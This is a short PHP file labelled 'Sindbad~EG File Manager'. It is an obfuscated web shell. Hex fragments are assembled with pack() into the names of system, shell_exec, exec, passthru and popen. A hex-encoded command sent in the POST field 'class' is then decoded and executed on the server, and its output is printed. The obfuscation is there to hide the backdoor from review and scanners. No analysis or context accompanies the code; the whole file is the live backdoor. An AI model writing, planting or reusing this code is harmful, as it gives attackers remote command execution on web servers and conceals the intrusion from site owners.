Sindbad~EG File Manager

<?php

$fld1 = '3';
$fld2 = '9';
$fld3 = '7';
$fld4 = '4';
$fld5 = '5';
$fld6 = '6';
$fld7 = 'd';
$fld8 = 'f';
$fld9 = '8';
$fld10 = '1';
$fld11 = '2';
$fld12 = '0';
$fld13 = 'e';
$fld14 = 'c';
$partition1 = pack("H*", '7'.$fld1.'7'.$fld2.'7'.'3'.$fld3.$fld4.'6'.$fld5.$fld6.$fld7);
$partition2 = pack("H*", '7'.$fld1.'6'.'8'.'6'.$fld5.$fld6.'c'.$fld6.'c'.'5'.$fld8.'6'.'5'.$fld3.'8'.'6'.$fld5.'6'.'3');
$partition3 = pack("H*", $fld6.$fld5.'7'.$fld9.$fld6.$fld5.$fld6.$fld1);
$partition4 = pack("H*", $fld3.'0'.$fld6.$fld10.$fld3.'3'.'7'.'3'.'7'.'4'.$fld6.'8'.'7'.$fld11.$fld3.'5');
$partition5 = pack("H*", $fld3.'0'.'6'.'f'.'7'.$fld12.$fld6.$fld5.$fld6.$fld13);
$partition6 = pack("H*", '7'.'3'.$fld3.$fld4.$fld3.'2'.$fld6.$fld5.'6'.'1'.$fld6.'d'.$fld5.'f'.$fld6.$fld3.'6'.$fld5.'7'.'4'.'5'.$fld8.$fld6.'3'.'6'.$fld8.'6'.'e'.'7'.$fld4.$fld6.'5'.'6'.$fld13.$fld3.'4'.'7'.$fld1);
$partition7 = pack("H*", '7'.'0'.$fld6.$fld1.$fld6.$fld14.'6'.$fld8.'7'.'3'.'6'.$fld5);
$class = pack("H*", '6'.$fld1.'6'.'c'.'6'.$fld10.$fld3.'3'.'7'.$fld1);
if (isset($_POST[$class])) {
    $class = pack("H*", $_POST[$class]);
    if (function_exists($partition1)) {
        $partition1($class);
    } elseif (function_exists($partition2)) {
        print $partition2($class);
    } elseif (function_exists($partition3)) {
        $partition3($class, $attribute_variable);
        print join("\n", $attribute_variable);
    } elseif (function_exists($partition4)) {
        $partition4($class);
    } elseif (function_exists($partition5) && function_exists($partition6) && function_exists($partition7)) {
        $identifier_placeholder = $partition5($class, 'r');
        if ($identifier_placeholder) {
            $slt_ph = $partition6($identifier_placeholder);
            $partition7($identifier_placeholder);
            print $slt_ph;
        }
    }
    exit;
}